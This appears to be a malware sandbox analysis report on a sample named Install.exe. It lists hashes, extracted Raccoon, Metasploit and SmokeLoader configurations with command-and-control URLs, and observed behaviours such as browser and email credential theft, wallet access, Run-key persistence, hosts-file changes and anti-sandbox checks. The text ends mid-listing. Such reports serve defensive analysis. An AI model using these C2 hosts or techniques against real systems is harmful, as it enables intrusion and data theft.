Overview
overview
10Static
static
ﱞﱞﱞ�...ﱞﱞ
windows7_x64
ﱞﱞﱞ�...ﱞﱞ
windows7_x64
ﱞﱞﱞ�...ﱞﱞ
windows7_x64
ﱞﱞﱞ�...ﱞﱞ
windows7_x64
10win102
windows10_x64
win102
windows10_x64
10win102
windows10_x64
10win102
windows10_x64
win104
windows10_x64
10win104
windows10_x64
win104
windows10_x64
10win104
windows10_x64
win105
windows10_x64
10win105
windows10_x64
10win105
windows10_x64
10win105
windows10_x64
win106
windows10_x64
10win106
windows10_x64
win106
windows10_x64
10win106
windows10_x64
10win103
windows10_x64
10win103
windows10_x64
10win103
windows10_x64
10win103
windows10_x64
10win101
windows10_x64
10win101
windows10_x64
win101
windows10_x64
10win101
windows10_x64
10win100
windows10_x64
10win100
windows10_x64
10win100
windows10_x64
10win100
windows10_x64
10Resubmissions
12/11/2024, 01:29
241112-bwgrxs1gnf 1008/07/2021, 12:18
210708-8z6d5h8z2n 1006/07/2021, 17:53
210706-g6we6sa7sa 1019/06/2021, 18:17
210619-vr8bj2dzfn 1017/06/2021, 21:39
210617-a9cvlnmrbx 1011/06/2021, 17:26
210611-wvab1yw2tj 1008/06/2021, 06:47
210608-qrbpch3y46 1008/06/2021, 06:47
210608-64tndgm1ln 1005/06/2021, 18:40
210605-cd6qpr55sx 1004/06/2021, 11:56
210604-5c416rs3ns 10Analysis
-
max time kernel
1791s -
max time network
1803s -
platform
windows10_x64 -
resource
win10v20210410 -
submitted
26/04/2021, 13:09
Static task
static1
Behavioral task
behavioral1
Sample
Install.exe
Resource
win7v20210410
Behavioral task
behavioral2
Sample
Install2.exe
Resource
win7v20210408
Behavioral task
behavioral3
Sample
keygen-step-4.exe
Resource
win7v20210410
Behavioral task
behavioral4
Sample
keygen-step-4d.exe
Resource
win7v20210410
Behavioral task
behavioral5
Sample
Install.exe
Resource
win10v20210408
Behavioral task
behavioral6
Sample
Install2.exe
Resource
win10v20210410
Behavioral task
behavioral7
Sample
keygen-step-4.exe
Resource
win10v20210408
Behavioral task
behavioral8
Sample
keygen-step-4d.exe
Resource
win10v20210410
Behavioral task
behavioral9
Sample
Install.exe
Resource
win10v20210408
Behavioral task
behavioral10
Sample
Install2.exe
Resource
win10v20210410
Behavioral task
behavioral11
Sample
keygen-step-4.exe
Resource
win10v20210410
Behavioral task
behavioral12
Sample
keygen-step-4d.exe
Resource
win10v20210408
Behavioral task
behavioral13
Sample
Install.exe
Resource
win10v20210410
Behavioral task
behavioral14
Sample
Install2.exe
Resource
win10v20210408
Behavioral task
behavioral15
Sample
keygen-step-4.exe
Resource
win10v20210410
Behavioral task
behavioral16
Sample
keygen-step-4d.exe
Resource
win10v20210408
Behavioral task
behavioral17
Sample
Install.exe
Resource
win10v20210410
Behavioral task
behavioral18
Sample
Install2.exe
Resource
win10v20210410
Behavioral task
behavioral19
Sample
keygen-step-4.exe
Resource
win10v20210408
Behavioral task
behavioral20
Sample
keygen-step-4d.exe
Resource
win10v20210410
Behavioral task
behavioral21
Sample
Install.exe
Resource
win10v20210408
Behavioral task
behavioral22
Sample
Install2.exe
Resource
win10v20210410
Behavioral task
behavioral23
Sample
keygen-step-4.exe
Resource
win10v20210408
Behavioral task
behavioral24
Sample
keygen-step-4d.exe
Resource
win10v20210410
Behavioral task
behavioral25
Sample
Install.exe
Resource
win10v20210408
Behavioral task
behavioral26
Sample
Install2.exe
Resource
win10v20210410
Behavioral task
behavioral27
Sample
keygen-step-4.exe
Resource
win10v20210410
Behavioral task
behavioral28
Sample
keygen-step-4d.exe
Resource
win10v20210408
Behavioral task
behavioral29
Sample
Install.exe
Resource
win10v20210410
Behavioral task
behavioral30
Sample
Install2.exe
Resource
win10v20210408
Behavioral task
behavioral31
Sample
keygen-step-4.exe
Resource
win10v20210410
Behavioral task
behavioral32
Sample
keygen-step-4d.exe
Resource
win10v20210410
General
-
Target
Install.exe
-
Size
497KB
-
MD5
41a5f4fd1ea7cac4aa94a87aebccfef0
-
SHA1
0d0abf079413a4c773754bf4fda338dc5b9a8ddc
-
SHA256
97e95e99fd499ec45a7c1d8683d5731ce5e7a8fb8b710622e578cd169a00d8d9
-
SHA512
5ca14bda498f26efff4e1179969b8f2c25244063c7bf25f3ec20b5cd24b5be320bbfb8b3d0b2d66f5c5b415da777a766fece5f251a4247773c6cb991417fb75f
Malware Config
Extracted
raccoon
9afb493c6f82d08075dbbfa7d93ce97f1dbf4733
-
url4cnc
https://tttttt.me/antitantief3
Extracted
metasploit
windows/single_exec
Extracted
smokeloader
2020
http://999080321newfolder1002002131-service1002.space/
http://999080321newfolder1002002231-service1002.space/
http://999080321newfolder3100231-service1002.space/
http://999080321newfolder1002002431-service1002.space/
http://999080321newfolder1002002531-service1002.space/
http://999080321newfolder33417-012425999080321.space/
http://999080321test125831-service10020125999080321.space/
http://999080321test136831-service10020125999080321.space/
http://999080321test147831-service10020125999080321.space/
http://999080321test146831-service10020125999080321.space/
http://999080321test134831-service10020125999080321.space/
http://999080321est213531-service1002012425999080321.ru/
http://999080321yes1t3481-service10020125999080321.ru/
http://999080321test13561-service10020125999080321.su/
http://999080321test14781-service10020125999080321.info/
http://999080321test13461-service10020125999080321.net/
http://999080321test15671-service10020125999080321.tech/
http://999080321test12671-service10020125999080321.online/
http://999080321utest1341-service10020125999080321.ru/
http://999080321uest71-service100201dom25999080321.ru/
http://999080321test61-service10020125999080321.website/
http://999080321test51-service10020125999080321.xyz/
http://999080321test41-service100201pro25999080321.ru/
http://999080321yest31-service100201rus25999080321.ru/
http://999080321rest21-service10020125999080321.eu/
http://999080321test11-service10020125999080321.press/
http://999080321newfolder4561-service10020125999080321.ru/
http://999080321rustest213-service10020125999080321.ru/
http://999080321test281-service10020125999080321.ru/
http://999080321test261-service10020125999080321.space/
http://999080321yomtest251-service10020125999080321.ru/
http://999080321yirtest231-service10020125999080321.ru/
http://al-commandoz.com/upload/
http://antalya-belek.com/upload/
http://luxurysv.com/upload/
http://massagespijkenisse.com/upload/
http://rexgorellhondaevent.com/upload/
Signatures
-
Glupteba Payload 2 IoCs
resource yara_rule behavioral13/memory/5816-312-0x0000000002E80000-0x000000000378B000-memory.dmp family_glupteba behavioral13/memory/5816-314-0x0000000000400000-0x0000000000D25000-memory.dmp family_glupteba -
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 6052 created 5816 6052 svchost.exe 134 -
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
-
Nirsoft 2 IoCs
resource yara_rule behavioral13/files/0x000100000001ad4f-331.dat Nirsoft behavioral13/files/0x000100000001ad4f-332.dat Nirsoft -
Downloads MZ/PE file
-
Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\system32\drivers\etc\hosts Ultra.exe -
Executes dropped EXE 45 IoCs
pid Process 1456 Install.tmp 3600 Ultra.exe 3856 ultramediaburner.exe 1912 ultramediaburner.tmp 2788 UltraMediaBurner.exe 2808 Lerawaesoqy.exe 1688 Suxymovule.exe 4776 instEU.exe 1628 google-game.exe 4752 md1_1eaf.exe 5624 askinstall39.exe 5468 y1.exe 5520 SunLabsPlayer.exe 5900 Conhost.exe 5020 svchost.exe 5816 app.exe 4648 c7ae36fa.exe 5572 toolspab1.exe 4520 Ck97jVApzc.exe 5744 1619442840029.exe 4348 app.exe 5984 77B1.exe 6060 IVStreamer.exe 4268 7E79.exe 6104 80CB.exe 4112 8B1D.exe 4488 RegWorkshop.exe 5368 9000.exe 4616 lighteningplayer-cache-gen.exe 5640 97B3.exe 4444 9E8A.exe 5052 1171344888.exe 5972 397771211.exe 5000 data_load.exe 4836 data_load.exe 4616 lighteningplayer-cache-gen.exe 5460 iefivda 748 sgfivda 4812 iefivda 5376 iefivda 4604 sgfivda 5848 iefivda 5652 iefivda 384 sgfivda 4508 iefivda -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\International\Geo\Nation Lerawaesoqy.exe -
Loads dropped DLL 64 IoCs
pid Process 1456 Install.tmp 4696 Conhost.exe 5520 SunLabsPlayer.exe 5520 SunLabsPlayer.exe 5468 y1.exe 5572 toolspab1.exe 4648 c7ae36fa.exe 5520 SunLabsPlayer.exe 5520 SunLabsPlayer.exe 5520 SunLabsPlayer.exe 5520 SunLabsPlayer.exe 5520 SunLabsPlayer.exe 5520 SunLabsPlayer.exe 5520 SunLabsPlayer.exe 5520 SunLabsPlayer.exe 6060 IVStreamer.exe 4488 RegWorkshop.exe 5520 SunLabsPlayer.exe 5520 SunLabsPlayer.exe 5520 SunLabsPlayer.exe 5520 SunLabsPlayer.exe 5520 SunLabsPlayer.exe 5520 SunLabsPlayer.exe 4616 lighteningplayer-cache-gen.exe 4616 lighteningplayer-cache-gen.exe 4616 lighteningplayer-cache-gen.exe 4616 lighteningplayer-cache-gen.exe 4616 lighteningplayer-cache-gen.exe 4616 lighteningplayer-cache-gen.exe 5520 SunLabsPlayer.exe 5520 SunLabsPlayer.exe 4228 rundll32.exe 4216 rundll32.exe 5520 SunLabsPlayer.exe 5520 SunLabsPlayer.exe 5520 SunLabsPlayer.exe 5520 SunLabsPlayer.exe 5520 SunLabsPlayer.exe 5520 SunLabsPlayer.exe 5520 SunLabsPlayer.exe 4616 lighteningplayer-cache-gen.exe 4616 lighteningplayer-cache-gen.exe 4616 lighteningplayer-cache-gen.exe 4616 lighteningplayer-cache-gen.exe 4616 lighteningplayer-cache-gen.exe 4616 lighteningplayer-cache-gen.exe 4616 lighteningplayer-cache-gen.exe 4616 lighteningplayer-cache-gen.exe 4616 lighteningplayer-cache-gen.exe 4616 lighteningplayer-cache-gen.exe 4616 lighteningplayer-cache-gen.exe 4616 lighteningplayer-cache-gen.exe 4616 lighteningplayer-cache-gen.exe 4616 lighteningplayer-cache-gen.exe 4616 lighteningplayer-cache-gen.exe 4616 lighteningplayer-cache-gen.exe 4616 lighteningplayer-cache-gen.exe 4616 lighteningplayer-cache-gen.exe 4616 lighteningplayer-cache-gen.exe 4616 lighteningplayer-cache-gen.exe 4616 lighteningplayer-cache-gen.exe 4616 lighteningplayer-cache-gen.exe 4616 lighteningplayer-cache-gen.exe 4616 lighteningplayer-cache-gen.exe -
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\system recover = "\"C:\\Program Files (x86)\\Microsoft.NET\\Vilufovoku.exe\"" Ultra.exe -
Checks for any installed AV software in registry 1 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\SOFTWARE\KasperskyLab powershell.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA IVStreamer.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA md1_1eaf.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 4 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 153 api.myip.com 96 ip-api.com 127 ip-api.com 152 api.myip.com -
Drops file in System32 directory 10 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies\B5VV3XJ8.cookie svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies\B5VV3XJ8.cookie svchost.exe File opened for modification C:\Windows\System32\Tasks\Firefox Default Browser Agent 7C762C4B014C9C0D svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat svchost.exe File opened for modification C:\Windows\System32\Tasks\Firefox Default Browser Agent 42178A457B02A948 svchost.exe File opened for modification C:\Windows\System32\Tasks\SBmmuMEA svchost.exe File opened for modification C:\Windows\System32\GroupPolicy rundll32.exe File opened for modification C:\Windows\System32\GroupPolicy\gpt.ini rundll32.exe File created C:\Windows\System32\GroupPolicy\Machine\Registry.pol rundll32.exe File opened for modification C:\Windows\System32\GroupPolicy\GPT.INI rundll32.exe -
Suspicious use of SetThreadContext 6 IoCs
description pid Process procid_target PID 3088 set thread context of 4592 3088 svchost.exe 99 PID 5020 set thread context of 5572 5020 svchost.exe 136 PID 5368 set thread context of 4868 5368 9000.exe 179 PID 5460 set thread context of 4812 5460 iefivda 220 PID 5376 set thread context of 5848 5376 iefivda 227 PID 5652 set thread context of 4508 5652 iefivda 230 -
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\temp_files\data.dll data_load.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\css\ui-lightness\images\ui-bg_highlight-soft_75_ffe45c_1x100.png SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\requests\README.txt SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libau_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\intf\modules\httprequests.luac SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\playlist\dailymotion.luac SunLabsPlayer.exe File created C:\Program Files\install.dat google-game.exe File created C:\Program Files\install.dll google-game.exe File opened for modification C:\Program Files (x86)\SBmmuMEA\cache.dat powershell.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libnuv_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\packetizer\libpacketizer_h264_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\spu\libmosaic_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\mobile_equalizer.html SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\css\ui-lightness\images\ui-bg_glass_100_f6f6f6_1x400.png SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\playlist\rockbox_fm_presets.luac SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\regstr SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libvobsub_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\access\libhttp_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\packetizer\libpacketizer_vc1_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\vlm_export.html SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\dialogs\batch_window.html SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\dialogs\mosaic_window.html SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\packetizer\libpacketizer_mpeg4video_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\audio_output\libmmdevice_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\data_load.exe SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\libvlccore.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\meta\art\00_musicbrainz.luac SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\librawdv_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\spu\liblogo_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\hrtfs\dodeca_and_7channel_3DSL_HRTF.sofa SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\playlist\anevia_xml.luac SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\access\libsatip_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\spu\libmarq_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\js\controllers.js SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\packetizer\libpacketizer_mpeg4audio_plugin.dll SunLabsPlayer.exe File created C:\Program Files\temp_files\SBmmuMEA.dll data_load.exe File opened for modification C:\Program Files (x86)\SBmmuMEA\cache.dat rundll32.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\css\ui-lightness\images\ui-bg_diagonals-thick_18_b81900_40x40.png SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\dialogs\stream_window.html SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\images\vlc16x16.png SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\playlist\newgrounds.luac SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\audio_output\libwaveout_plugin.dll SunLabsPlayer.exe File opened for modification C:\Program Files (x86)\UltraMediaBurner\unins000.dat ultramediaburner.tmp File created C:\Program Files (x86)\lighteningplayer\lua\intf\telnet.luac SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\playlist\liveleak.luac SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\access\libudp_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\meta_engine\libtaglib_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\packetizer\libpacketizer_mpegaudio_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\control\libwin_hotkeys_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libavi_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\images\vlc-48.png SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\requests\browse.json SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\audio_output\libwasapi_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libnoseek_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\keystore\libfile_keystore_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libdemux_stl_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\packetizer\libpacketizer_dirac_plugin.dll SunLabsPlayer.exe File created C:\Program Files\temp_files\bckf.fon data_load.exe File opened for modification C:\Program Files (x86)\SBmmuMEA\SBmmuMEA.dll powershell.exe File created C:\Program Files\Windows Photo Viewer\SIGTLYJXRW\ultramediaburner.exe.config Ultra.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\css\ui-lightness\jquery-ui-1.8.13.custom.css SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\access\libtcp_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\modules\simplexml.luac SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\playlist\appletrailers.luac SunLabsPlayer.exe -
Drops file in Windows directory 2 IoCs
description ioc Process File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
NSIS installer 2 IoCs
resource yara_rule behavioral13/files/0x000100000001ac23-268.dat nsis_installer_2 behavioral13/files/0x000100000001ac23-267.dat nsis_installer_2 -
Checks SCSI registry key(s) 3 TTPs 24 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI iefivda Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI sgfivda Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI toolspab1.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI c7ae36fa.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI sgfivda Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI sgfivda Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI sgfivda Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI iefivda Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI sgfivda Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI sgfivda Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI toolspab1.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI c7ae36fa.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI iefivda Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI iefivda Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI iefivda Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI iefivda Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI iefivda Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI sgfivda Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI c7ae36fa.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI iefivda Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI iefivda Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI toolspab1.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI sgfivda Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI sgfivda -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 svchost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz svchost.exe -
Delays execution with timeout.exe 1 IoCs
pid Process 5688 timeout.exe -
Download via BitsAdmin 1 TTPs 1 IoCs
pid Process 2892 bitsadmin.exe -
Kills process with taskkill 1 IoCs
pid Process 3984 taskkill.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main browser_broker.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main MicrosoftEdgeCP.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-335 = "Jordan Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-871 = "Pakistan Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-631 = "Tokyo Daylight Time" app.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2182 = "Astrakhan Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2001 = "Cabo Verde Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1841 = "Russia TZ 4 Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-52 = "Greenland Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1801 = "Line Islands Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-364 = "Middle East Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-71 = "Newfoundland Daylight Time" app.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs app.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-12 = "Azores Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2632 = "Norfolk Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-215 = "Pacific Standard Time (Mexico)" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2432 = "Cuba Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-341 = "Egypt Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-72 = "Newfoundland Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2061 = "North Korea Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-791 = "SA Western Daylight Time" app.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs app.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-572 = "China Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-262 = "GMT Standard Time" app.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-462 = "Afghanistan Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-42 = "E. South America Standard Time" app.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-891 = "Morocco Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-831 = "SA Eastern Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2452 = "Saint Pierre Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2591 = "Tocantins Daylight Time" app.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-434 = "Georgian Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-384 = "Namibia Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2491 = "Aus Central W. Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local 